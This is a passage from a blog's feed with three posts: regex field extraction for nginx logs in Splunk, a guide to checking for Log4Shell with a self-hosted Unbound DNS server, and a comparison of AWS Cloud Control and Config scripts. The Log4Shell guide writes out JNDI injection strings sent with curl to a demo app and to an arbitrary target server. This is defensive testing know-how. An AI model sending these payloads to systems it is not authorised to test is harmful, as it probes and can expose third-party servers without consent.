13199#13199: *81574833 epoll_wait() reported that client prematurely closed connection, so upstream connection is closed too while connecting to upstream, client: 1.2.3.4, server: example.com, request: &quot;GET /page.html HTTP/1.1&quot;, upstream:&quot;http://192.168.1.2/page.html&quot;, host: &quot;example.com&quot;</code></pre><h3 id="fields-3">Fields <a href="#fields-3" class="headerlink" title="Fields">§</a></h3><table><thead><tr><th>Field</th><th>Value</th><th>Regex</th><th>Explanation</th></tr></thead><tbody><tr><td>month</td><td>Dec</td><td><code>(?&lt;month&gt;\w+)</code></td><td></td></tr><tr><td>day</td><td>24</td><td><code>(?&lt;day&gt;\d+)</code></td><td></td></tr><tr><td>time</td><td>01:23:45</td><td><code>(?&lt;time&gt;[\d\:]+)</code></td><td></td></tr><tr><td>proxy_ip</td><td>192.168.0.2</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>year</td><td>2021</td><td><code>(?&lt;year&gt;\d&#123;4&#125;)</code></td><td></td></tr><tr><td>nmonth</td><td>12</td><td><code>(?&lt;nmonth&gt;\d&#123;2&#125;)</code></td><td></td></tr><tr><td>log_level</td><td>info</td><td><code>(?&lt;log_level&gt;\w+)</code></td><td></td></tr><tr><td>upstream_error</td><td>epoll_wait() reported that client prematurely closed connection, so upstream connection is closed too while connecting to upstream</td><td><code>(?&lt;upstream_error&gt;.[^,]*)</code></td><td></td></tr><tr><td>remote_ip</td><td>1.2.3.4</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>server_host</td><td>example.com</td><td><code>(?&lt;server_host&gt;.[^,]*)</code></td><td></td></tr><tr><td>http_method</td><td>GET</td><td><code>(?&lt;http_method&gt;\w+)</code></td><td></td></tr><tr><td>http_path</td><td>&#x2F;page.html</td><td><code>(?&lt;http_path&gt;\S+)</code></td><td></td></tr><tr><td>http_version</td><td>HTTP&#x2F;1.1</td><td><code>(?&lt;http_version&gt;HTTP/\d\.\d)</code></td><td></td></tr><tr><td>upstream_url</td><td><a href="http://192.168.1.2/page.html">http://192.168.1.2/page.html</a></td><td><code>(?&lt;upstream_url&gt;.[^&quot;]*)</code></td><td></td></tr><tr><td>upstream_host</td><td>example.com</td><td><code>(?&lt;upstream_host&gt;.[^&quot;]*)</code></td><td></td></tr></tbody></table><h2 id="upstream-epoll-error-with-referrer">Upstream epoll error with referrer <a href="#upstream-epoll-error-with-referrer" class="headerlink" title="Upstream epoll error with referrer">§</a></h2><h3 id="regex-4">Regex <a href="#regex-4" class="headerlink" title="Regex">§</a></h3><pre><code class="hljs plaintext">(?&lt;month&gt;\w+)\s+(?&lt;day&gt;\d+)\s(?&lt;time&gt;[\d\:]+)\s(?&lt;proxy_ip&gt;[\d\.]+)(?:\snginx\:\s)(?&lt;year&gt;\d&#123;4&#125;)\/(?&lt;nmonth&gt;\d&#123;2&#125;)(?:\/\d&#123;2&#125;\s[\d\:]+\s)\[(?&lt;log_level&gt;\w+)\](?:\s\d+#\d+\:\s\*\d+\s)(?&lt;upstream_error&gt;[^,]*,[^,]*)(?:,\sclient\:\s)(?&lt;remote_ip&gt;[\d\.]+)(?:,\sserver\:\s)(?&lt;server_host&gt;.[^,]*)(?:,\srequest\:\s&quot;)(?&lt;http_method&gt;\w+)\s(?&lt;http_path&gt;\S+)\s(?&lt;http_version&gt;HTTP/\d\.\d)(?:&quot;,\supstream\:\s&quot;)(?&lt;upstream_url&gt;.[^&quot;]*)(?:&quot;,\shost\:\s&quot;)(?&lt;upstream_host&gt;.[^&quot;]*)(?:&quot;,\sreferrer\:\s&quot;)(?&lt;referrer&gt;.[^&quot;]*)</code></pre><h3 id="event-4">Event <a href="#event-4" class="headerlink" title="Event">§</a></h3><pre><code class="hljs plaintext">Dec 24 01:23:45 192.168.0.2 nginx: 2021/12/24 01:23:45 [info] 1776#1776:*71220252 epoll_wait() reported that client prematurely closed connection, so upstream connection is closed too while sending request to upstream, client: 1.2.3.4, server: example.com, request: &quot;GET /page.html HTTP/1.1&quot;, upstream: &quot;http://192.168.1.2:8080/page.html&quot;, host: &quot;example.com&quot;, referrer: &quot;https://example.com&quot;</code></pre><h3 id="fields-4">Fields <a href="#fields-4" class="headerlink" title="Fields">§</a></h3><table><thead><tr><th>Field</th><th>Value</th><th>Regex</th><th>Explanation</th></tr></thead><tbody><tr><td>month</td><td>Dec</td><td><code>(?&lt;month&gt;\w+)</code></td><td></td></tr><tr><td>day</td><td>24</td><td><code>(?&lt;day&gt;\d+)</code></td><td></td></tr><tr><td>time</td><td>01:23:45</td><td><code>(?&lt;time&gt;[\d\:]+)</code></td><td></td></tr><tr><td>proxy_ip</td><td>192.168.0.2</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>year</td><td>2021</td><td><code>(?&lt;year&gt;\d&#123;4&#125;)</code></td><td></td></tr><tr><td>nmonth</td><td>12</td><td><code>(?&lt;nmonth&gt;\d&#123;2&#125;)</code></td><td></td></tr><tr><td>log_level</td><td>info</td><td><code>(?&lt;log_level&gt;\w+)</code></td><td></td></tr><tr><td>upstream_error</td><td>epoll_wait() reported that client prematurely closed connection, so upstream connection is closed too while sending request to upstream</td><td><code>(?&lt;upstream_error&gt;.[^,]*)</code></td><td></td></tr><tr><td>remote_ip</td><td>1.2.3.4</td><td><code>(?&lt;remote_ip&gt;[\d\.]+)</code></td><td></td></tr><tr><td>server_host</td><td>example.com</td><td><code>(?&lt;server_host&gt;.[^,]*)</code></td><td></td></tr><tr><td>http_method</td><td>GET</td><td><code>(?&lt;http_method&gt;\w+)</code></td><td></td></tr><tr><td>http_path</td><td>&#x2F;page.html</td><td><code>(?&lt;http_path&gt;\S+)</code></td><td></td></tr><tr><td>http_version</td><td>HTTP&#x2F;1.1</td><td><code>(?&lt;http_version&gt;HTTP/\d\.\d)</code></td><td></td></tr><tr><td>upstream_url</td><td><a href="http://192.168.1.2:8080/page.html">http://192.168.1.2:8080/page.html</a></td><td><code>(?&lt;upstream_url&gt;.[^&quot;]*)</code></td><td></td></tr><tr><td>upstream_host</td><td>example.com</td><td><code>(?&lt;upstream_host&gt;.[^&quot;]*)</code></td><td></td></tr><tr><td>referrer</td><td><a href="https://example.com/">https://example.com</a></td><td><code>(?&lt;referrer&gt;.[^&quot;]*)</code></td><td></td></tr></tbody></table>]]></content>
    
    
    <summary type="html">Configure regex in field extractor to create relevant fields</summary>
    
    
    
    <category term="splunk" scheme="https://mdleom.com/tags/splunk/"/>
    
    <category term="nginx" scheme="https://mdleom.com/tags/nginx/"/>
    
  </entry>
  
  <entry>
    <title>Check Log4Shell vulnerability using Unbound DNS server</title>
    <link href="https://mdleom.com/blog/2021/12/17/log4shell-log4j-unbound-dns/"/>
    <id>https://mdleom.com/blog/2021/12/17/log4shell-log4j-unbound-dns/</id>
    <published>2021-12-17T00:00:00.000Z</published>
    <updated>2022-02-12T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>(Edit: 12 Feb 2022) AWS CDK stack is available at <a href="https://gitlab.com/curben/aws-scripts/-/tree/main/log4shell-stack">curben&#x2F;aws-scripts</a></p></blockquote><p>Most of the publications discussing the Log4Shell&#x2F;<a href="https://blogs.apache.org/foundation/entry/apache-log4j-cves">Log4j</a> vulnerability (<a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">[1]</a>, <a href="https://www.lunasec.io/docs/blog/log4j-zero-day/">[2]</a>, <a href="https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/">[3]</a>, <a href="https://arstechnica.com/information-technology/2021/12/minecraft-and-other-apps-face-serious-threat-from-new-code-execution-bug/">[4]</a>) focus on the ability to instruct the JNDI component to load remote code or download payload using <a href="https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol">LDAP</a>. A less known fact is that Log4j also supports DNS protocol by default, at least in versions prior to 2.15.0.</p><p>Huntress, a cyber security company, created an easy-to-use tool at <a href="https://log4shell.huntress.com/">log4shell.huntress.com</a> to detect whether your server is vulnerable using LDAP. Despite the assurance of transparency by the availability of <a href="https://github.com/huntresslabs/log4shell-tester">source code</a> so you could host it yourself, there’s no denying the fact that log4shell.huntress.com is a <em>third-party</em> service; even if anyone could host it, not everyone has the ability to audit the source code. Another third-party service that is mentioned around is <a href="http://www.dnslog.cn/">dnslog.cn</a> which detects (as the name implies) using DNS protocol.</p><p>Since the DNS request made by Log4j is just a simple DNS lookup—similar to a web browser’s request—we can run any kind of DNS server: authoritative or recursive. Recursive DNS server is the easier option because it simply forwards request to upstream authoritative server(s). If a server is vulnerable, we’ll see its IP address in the DNS server’s query logs when we attempt the exploit.</p><h2 id="setup-dns-server">Setup DNS server <a href="#setup-dns-server" class="headerlink" title="Setup DNS server">§</a></h2><p>Unbound is a popular DNS server due to its simplicity. dnsmasq is another option, it was the default dns caching in Ubuntu before being replaced by systemd-resolved.</p><p>When installing a server (web, DNS, app, etc), Ubuntu usually starts the service immediately after installation. I prefer to properly configure a server before starting it, so I’m going to <em>mask</em> it first to prevent that auto-start.</p><blockquote><p>Except for checking service status, log and dns query, all commands require <code>sudo</code> privilege.</p></blockquote><pre><code class="hljs plaintext">systemctl mask unbound</code></pre><p>Above command may fail in a script, in that case, use <code>ln -s /dev/null /etc/systemd/system/unbound.service</code> instead.</p><p>Then, we can proceed to install and configure it.</p><pre><code class="hljs plaintext">apt updateapt install unboundsudo -e /etc/unbound/unbound.conf.d/custom.conf</code></pre><p><em><code>sudo -e</code> is preferred over <code>sudo nano</code> for <a href="https://teddit.net/r/linux/comments/osah05/ysk_do_not_use_sudo_vimnanoemacs_to_edit_a_file/">security reason</a>.</em></p><p>Paste the following config.</p><pre><code class="hljs yml"><span class="hljs-comment"># Based on https://www.linuxbabe.com/ubuntu/set-up-unbound-dns-resolver-on-ubuntu-20-04-server</span><span class="hljs-attr">server:</span>  <span class="hljs-comment"># the working directory.</span>  <span class="hljs-attr">directory:</span> <span class="hljs-string">&quot;/etc/unbound&quot;</span>  <span class="hljs-comment"># run as the unbound user</span>  <span class="hljs-attr">username:</span> <span class="hljs-string">unbound</span>  <span class="hljs-comment"># uncomment and increase to get more logging</span>  <span class="hljs-comment"># verbosity: 2</span>  <span class="hljs-comment"># log dns queries</span>  <span class="hljs-attr">log-queries:</span> <span class="hljs-literal">yes</span>  <span class="hljs-comment"># listen on all interfaces,</span>  <span class="hljs-attr">interface:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span>  <span class="hljs-comment"># comment out to support IPv6.</span>  <span class="hljs-comment"># interface: ::0</span>  <span class="hljs-comment"># answer queries from the local network only, change to your private IP</span>  <span class="hljs-comment"># interface: 192.168.0.2</span>  <span class="hljs-comment"># perform prefetching of almost expired DNS cache entries.</span>  <span class="hljs-attr">prefetch:</span> <span class="hljs-literal">yes</span>  <span class="hljs-comment"># respond to all IP</span>  <span class="hljs-attr">access-control:</span> <span class="hljs-number">0.0</span><span class="hljs-number">.0</span><span class="hljs-number">.0</span><span class="hljs-string">/0</span> <span class="hljs-string">allow</span>  <span class="hljs-comment"># IPv6</span>  <span class="hljs-comment"># access-control: ::0/0 allow</span>  <span class="hljs-comment"># respond to local network only, change the CIDR according to your network</span>  <span class="hljs-comment"># access-control: 192.168.88.0/24 allow</span>  <span class="hljs-comment"># localhost only</span>  <span class="hljs-comment"># access-control: 127.0.0.1/24 allow</span>  <span class="hljs-comment"># hide server info from clients</span>  <span class="hljs-attr">hide-identity:</span> <span class="hljs-literal">yes</span>  <span class="hljs-attr">hide-version:</span> <span class="hljs-literal">yes</span><span class="hljs-attr">remote-control:</span>  <span class="hljs-comment"># Disable unbound-control</span>  <span class="hljs-attr">control-enable:</span> <span class="hljs-literal">no</span><span class="hljs-attr">forward-zone:</span>  <span class="hljs-comment"># Forward all queries to Quad9, use your favourite DNS</span>  <span class="hljs-attr">name:</span> <span class="hljs-string">&quot;.&quot;</span>  <span class="hljs-attr">forward-addr:</span> <span class="hljs-number">9.9</span><span class="hljs-number">.9</span><span class="hljs-number">.9</span>  <span class="hljs-attr">forward-addr:</span> <span class="hljs-number">149.112</span><span class="hljs-number">.112</span><span class="hljs-number">.112</span></code></pre><p><kbd>Ctrl</kbd> + <kbd>X</kbd> to quit, <kbd>Y</kbd> to save, <kbd>Enter</kbd> to confirm.</p><blockquote><p>With the above config, Unbound will respond to <em>all</em> IP, including <em>public</em> IP if exposed to internet.</p></blockquote><p>Since Unbound will listen on all interfaces, it’ll interfere with systemd-resolved which listens on 127.0.0.53:53 by default. So, before we start Unbound, systemd-resolved needs to be disabled first.</p><pre><code class="hljs plaintext">systemctl disable --now systemd-resolved</code></pre><p>We also need to add the server’s hostname to <code>/etc/hosts</code>, otherwise <code>sudo</code> will take a long time to execute. If you’re using AWS EC2, the hostname will be “ip-<em>a</em>-<em>b</em>-<em>c</em>-<em>d</em>“ where <em>abcd</em> is the private IP.</p><pre><code class="hljs plaintext">sudo -e /etc/hosts# append this line127.0.0.1 ip-a-b-c-d</code></pre><p>The last step before we start the service is to configure the firewall to allow inbound DNS traffic. I recommend not to allow all IP (0.0.0.0, ::0), otherwise you’ll get unwanted traffic. In EC2, that means the attached security group.</p><p>After we configure the firewall, we can proceed to unmask and start the DNS server.</p><pre><code class="hljs plaintext">systemctl unmask unboundsystemctl enable --now unbound</code></pre><p>To see whether it’s working, execute some queries:</p><pre><code class="hljs plaintext"># localhostdig example.com @127.0.0.1# other machine, same subnetdig example.com @192.168.0.x# other machine over internetdig example.com @public-ip</code></pre><p>Verify Unbound is logging queries,</p><pre><code class="hljs plaintext">journalctl -xe -u unbound# Dec 14 01:23:45 ip-a-b-c-d unbound[pid]: [pid:0] info: 127.0.0.1 example.com. A IN</code></pre><p>We are now ready to test Log4shell vulnerability.</p><h2 id="demo-vulnerable-app">Demo vulnerable app <a href="#demo-vulnerable-app" class="headerlink" title="Demo vulnerable app">§</a></h2><blockquote><p>This is an optional step to demonstrate Log4shell.</p></blockquote><p>A demo vulnerable is available as a Docker image at <a href="https://github.com/christophetd/log4shell-vulnerable-app">christophetd&#x2F;log4shell-vulnerable-app</a>. For best security practice, I recommend:</p><ol><li>Run it in an isolated network or environment.</li><li>Clone (the repo) and build it, instead of running the prebuild image.</li></ol><p>After building the image and just before you run it, configure the relevant firewall to restrict outbound connection to the Unbound DNS server only. If you prefer to use port 80 for the app server, run <code>docker run -p 80:8080 --name vulnerable-app vulnerable-app</code>. Open inbound port 8080 (or port 80) in the firewall.</p><p>To test the app server is reachable, send a test request.</p><pre><code class="hljs plaintext">curl -IL app-server-ip:8080 -H &#x27;X-Api-Version: foo&#x27;</code></pre><p>The app server should respond HTTP 200. The header must be <code>X-Api-Version</code> because that’s what configured in the log4shell-vulnerable-app.</p><p>Once the connection is verified, we can now instruct it to make a DNS request to our Unbound DNS.</p><pre><code class="hljs plaintext">curl -L app-server-ip:8080 -H &#x27;X-Api-Version: $&#123;jndi:dns://dns-server-ip/evil-request&#125;&#x27;</code></pre><p>In the Unbound’s log, the query should be listed.</p><pre><code class="hljs plaintext">journalctl -xe -u unbound# Dec 14 01:23:45 ip-a-b-c-d unbound[pid]: [pid:0] info: app-server-ip evil-request. A IN</code></pre><p>If you want to see the query log in realtime, <code>journalctl -xe -u unbound -f</code>. If it’s not listed, check the inbound firewall rule applied to the DNS server.</p><h2 id="is-that-server-vulnerable">Is that server vulnerable? <a href="#is-that-server-vulnerable" class="headerlink" title="Is that server vulnerable?">§</a></h2><pre><code class="hljs plaintext">curl -L https://target-server-domain -H &#x27;User Agent: $&#123;jndi:dns://dns-server-ip/should-not-show-up-in-the-log&#125;&#x27;</code></pre>]]></content>
    
    
    <summary type="html">Check vulnerability without relying on third-party services</summary>
    
    
    
    <category term="aws" scheme="https://mdleom.com/tags/aws/"/>
    
    <category term="security" scheme="https://mdleom.com/tags/security/"/>
    
  </entry>
  
  <entry>
    <title>Managing inventory: AWS Cloud Control vs Config</title>
    <link href="https://mdleom.com/blog/2021/10/08/cloud-control-config/"/>
    <id>https://mdleom.com/blog/2021/10/08/cloud-control-config/</id>
    <published>2021-10-08T00:00:00.000Z</published>
    <updated>2021-10-08T00:00:00.000Z</updated>
    
    <content type="html"><![CDATA[<p>AWS announced a new API called <a href="https://aws.amazon.com/blogs/aws/announcing-aws-cloud-control-api/">Cloud Control</a> that provides a standard sets of APIs to manage AWS resources. Imagine running <code>aws cloudcontrol create-resource</code> to launch EC2 and Lambda, instead of using <code>aws ec2 run-instances</code> and <code>aws lambda create-function</code>.</p><p>Aside from CRUD operations, it also supports List operation to discover all deployed resources filtered by a specific resource type (e.g. <code>AWS::ECS::Cluster</code>). When I first read the announcement, I wonder how it compares to <a href="/blog/2021/09/17/aws-config/" title="Using AWS Config for security compliance and inventory">AWS Config</a>, a feature I’m actively using mainly for security audit, but it could also perform inventory task.</p><p>Since Cloud Control is a recent feature, the latest library is required. For Python library, I ran <code>pip install boto3 --upgrade</code> to update it to version xxx. Then, I created a minimal Python script to test out Cloud Control’s <a href="https://docs.aws.amazon.com/cloudcontrolapi/latest/APIReference/API_ListResources.html">ListResources</a>.</p><pre><code class="hljs py"><span class="hljs-comment">#!/usr/bin/env python</span><span class="hljs-comment"># ./cloud-control.py --profile profile-name --region region-name</span><span class="hljs-keyword">from</span> argparse <span class="hljs-keyword">import</span> ArgumentParser<span class="hljs-keyword">import</span> boto3<span class="hljs-keyword">from</span> botocore.config <span class="hljs-keyword">import</span> Config<span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> count<span class="hljs-keyword">from</span> json <span class="hljs-keyword">import</span> dump, loadsparser = ArgumentParser(description = <span class="hljs-string">&#x27;Find the latest AMIs.&#x27;</span>)parser.add_argument(<span class="hljs-string">&#x27;--profile&#x27;</span>, <span class="hljs-string">&#x27;-p&#x27;</span>,  <span class="hljs-built_in">help</span> = <span class="hljs-string">&#x27;AWS profile name. Parsed from ~/.aws/config (SSO) or credentials (API key).&#x27;</span>,  required = <span class="hljs-literal">True</span>)parser.add_argument(<span class="hljs-string">&#x27;--region&#x27;</span>, <span class="hljs-string">&#x27;-r&#x27;</span>,  <span class="hljs-built_in">help</span> = <span class="hljs-string">&#x27;AWS Region, e.g. us-east-1&#x27;</span>,  required = <span class="hljs-literal">True</span>)args = parser.parse_args()profile = args.profileregion = args.regionsession = boto3.session.Session(profile_name = profile)my_config = Config(region_name = region)client = session.client(<span class="hljs-string">&#x27;cloudcontrol&#x27;</span>, config = my_config)results = []response = &#123;&#125;<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> count():  <span class="hljs-comment"># https://docs.aws.amazon.com/cloudcontrolapi/latest/APIReference/API_ListResources.html</span>  params = &#123;    <span class="hljs-comment"># https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/supported-resources.html</span>    <span class="hljs-string">&#x27;TypeName&#x27;</span>: <span class="hljs-string">&#x27;AWS::EC2::FlowLog&#x27;</span>  &#125;  <span class="hljs-keyword">if</span> i == <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> <span class="hljs-string">&#x27;NextToken&#x27;</span> <span class="hljs-keyword">in</span> response:    <span class="hljs-keyword">if</span> <span class="hljs-string">&#x27;NextToken&#x27;</span> <span class="hljs-keyword">in</span> response:      params[<span class="hljs-string">&#x27;NextToken&#x27;</span>] = response[<span class="hljs-string">&#x27;NextToken&#x27;</span>]    response = client.list_resources(**params)    results.extend(response[<span class="hljs-string">&#x27;ResourceDescriptions&#x27;</span>])  <span class="hljs-keyword">else</span>:    <span class="hljs-keyword">break</span>prop_list = []<span class="hljs-comment"># Extract properties only</span><span class="hljs-keyword">for</span> ele <span class="hljs-keyword">in</span> results:  prop_list.append(loads(ele[<span class="hljs-string">&#x27;Properties&#x27;</span>]))<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(prop_list) &gt;= <span class="hljs-number">1</span>:  <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;cloud-control.json&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>) <span class="hljs-keyword">as</span> w:    <span class="hljs-comment"># Save the first dictionary only</span>    dump(<span class="hljs-built_in">dict</span>(<span class="hljs-built_in">sorted</span>(prop_list[<span class="hljs-number">0</span>].items())), w, indent = <span class="hljs-number">2</span>)</code></pre><p>In the first draft of the script, I noticed that the API doesn’t support <code>AWS::EC2::Instance</code> yet. It took me a while to troubleshoot until I found <a href="https://docs.aws.amazon.com/cloudcontrolapi/latest/userguide/supported-resources.html">this list</a> of supported resources. The error wasn’t very helpful, e.g. “Resource type AWS::EC2::Instance does not support LIST action”. It’s more straightforward to just say “Resource type xxx does not support Cloud Control yet”.</p><p>The announcement did mention not all resources are supported, but I didn’t expect AWS’ <em>bread and butter</em> are unsupported, including <code>AWS::S3::Bucket</code>. I’m sure these resources will be supported eventually, it’s just that support of new products are prioritised at the moment as implied from the announcement, “It will support new AWS resources typically on the day of launch”.</p><p>I tested on <code>AWS::EC2::PrefixList</code>, instead of the currently unsupported <code>AWS::EC2::Instance</code>. It worked fine, the output syntax is exactly what the documentation outlines. To compare it to Config, I created another equivalent script.</p><pre><code class="hljs py"><span class="hljs-comment">#!/usr/bin/env python</span><span class="hljs-comment"># ./aws-config.py --profile profile-name --account-id &#123;account-id&#125; --region region-name</span><span class="hljs-keyword">from</span> argparse <span class="hljs-keyword">import</span> ArgumentParser<span class="hljs-keyword">import</span> boto3<span class="hljs-keyword">from</span> botocore.config <span class="hljs-keyword">import</span> Config<span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> count<span class="hljs-keyword">from</span> json <span class="hljs-keyword">import</span> dump, loadsparser = ArgumentParser(description = <span class="hljs-string">&#x27;Find the latest AMIs.&#x27;</span>)parser.add_argument(<span class="hljs-string">&#x27;--profile&#x27;</span>, <span class="hljs-string">&#x27;-p&#x27;</span>,  <span class="hljs-built_in">help</span> = <span class="hljs-string">&#x27;AWS profile name. Parsed from ~/.aws/config (SSO) or credentials (API key).&#x27;</span>,  required = <span class="hljs-literal">True</span>)parser.add_argument(<span class="hljs-string">&#x27;--account-id&#x27;</span>, <span class="hljs-string">&#x27;-a&#x27;</span>,  <span class="hljs-built_in">help</span> = <span class="hljs-string">&#x27;AWS account ID. See ~/.aws/config if SSO is used.&#x27;</span>,  required = <span class="hljs-literal">True</span>,  <span class="hljs-built_in">type</span> = <span class="hljs-built_in">str</span>)parser.add_argument(<span class="hljs-string">&#x27;--region&#x27;</span>, <span class="hljs-string">&#x27;-r&#x27;</span>,  <span class="hljs-built_in">help</span> = <span class="hljs-string">&#x27;AWS Region, e.g. us-east-1&#x27;</span>,  required = <span class="hljs-literal">True</span>)args = parser.parse_args()profile = args.profileaccount_id = args.account_idregion = args.regionsession = boto3.session.Session(profile_name = profile)my_config = Config(region_name = region)client = session.client(<span class="hljs-string">&#x27;config&#x27;</span>, config = my_config)results = []response = &#123;&#125;<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> count():  params = &#123;    <span class="hljs-string">&#x27;Expression&#x27;</span>: <span class="hljs-string">&quot;SELECT configuration WHERE resourceType = &#x27;AWS::EC2::FlowLog&#x27;&quot;</span> \      <span class="hljs-string">f&quot; AND accountId = &#x27;<span class="hljs-subst">&#123;account_id&#125;</span>&#x27;&quot;</span> \      <span class="hljs-string">f&quot; AND awsRegion = &#x27;<span class="hljs-subst">&#123;region&#125;</span>&#x27;&quot;</span>,    <span class="hljs-string">&#x27;ConfigurationAggregatorName&#x27;</span>: <span class="hljs-string">&#x27;ConfigAggregator&#x27;</span> <span class="hljs-comment"># may need to update</span>  &#125;  <span class="hljs-keyword">if</span> i == <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> <span class="hljs-string">&#x27;NextToken&#x27;</span> <span class="hljs-keyword">in</span> response:    <span class="hljs-keyword">if</span> <span class="hljs-string">&#x27;NextToken&#x27;</span> <span class="hljs-keyword">in</span> response:      params[<span class="hljs-string">&#x27;NextToken&#x27;</span>] = response[<span class="hljs-string">&#x27;NextToken&#x27;</span>]    response = client.select_aggregate_resource_config(**params)    results.extend(response[<span class="hljs-string">&#x27;Results&#x27;</span>])  <span class="hljs-keyword">else</span>:    <span class="hljs-keyword">break</span>conf_list = []<span class="hljs-comment"># Extract configuration only</span><span class="hljs-keyword">for</span> ele <span class="hljs-keyword">in</span> results:  conf_list.append(loads(ele).get(<span class="hljs-string">&#x27;configuration&#x27;</span>, &#123;&#125;))<span class="hljs-keyword">if</span> <span class="hljs-built_in">len</span>(conf_list) &gt;= <span class="hljs-number">1</span>:  <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(<span class="hljs-string">&#x27;aws-config.json&#x27;</span>, <span class="hljs-string">&#x27;w&#x27;</span>) <span class="hljs-keyword">as</span> w:    <span class="hljs-comment"># Save the first dictionary only</span>    dump(<span class="hljs-built_in">dict</span>(<span class="hljs-built_in">sorted</span>(conf_list[<span class="hljs-number">0</span>].items())), w, indent = <span class="hljs-number">2</span>)</code></pre><p>Before I get to the output comparison, notice the <code>accountId</code> and <code>awsRegion</code> filters I used in the SQL statement. It’s necessary because I’m using an <a href="https://docs.aws.amazon.com/config/latest/developerguide/aggregate-data.html">aggregator</a> that collects data from <strong>all accounts and regions</strong> in an AWS Organization (which have AWS Config enabled). Like most other AWS APIs, Cloud Control only works on a combination of account and region. If you want discover resources in 5 combinations of account and region, that’ll requires 5 API calls, in contrast to just one API call via Config’s aggregator.</p><p>Here is the output of Cloud Control:</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;DeliverLogsPermissionArn&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;Id&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogDestination&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogDestinationType&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogFormat&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogGroupName&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;MaxAggregationInterval&quot;</span><span class="hljs-punctuation">:</span> Integer<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;ResourceId&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;ResourceType&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;Tags&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span> Tag<span class="hljs-punctuation">,</span> ... <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;TrafficType&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">&#125;</span></code></pre><p>Config:</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;creationTime&quot;</span><span class="hljs-punctuation">:</span> Float<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;deliverLogsPermissionArn&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;deliverLogsStatus&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;flowLogId&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;flowLogStatus&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;logDestination&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;logDestinationType&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;logFormat&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;logGroupName&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;maxAggregationInterval&quot;</span><span class="hljs-punctuation">:</span> Float<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;resourceId&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;tags&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span> Tag<span class="hljs-punctuation">,</span> ... <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;trafficType&quot;</span><span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">&#125;</span></code></pre><p>Syntax used by <a href="https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-ec2-flowlog.html">CloudFormation template</a>:</p><pre><code class="hljs json"><span class="hljs-punctuation">&#123;</span>  <span class="hljs-attr">&quot;DeliverLogsPermissionArn&quot;</span> <span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogDestination&quot;</span> <span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogDestinationType&quot;</span> <span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogFormat&quot;</span> <span class="hljs-punctuation">:</span> String<span class="hljs-punctuation">,</span>  <span class="hljs-attr">&quot;LogGroupName&quot;</span> <span class="hljs-punctuation">:</span> String<span 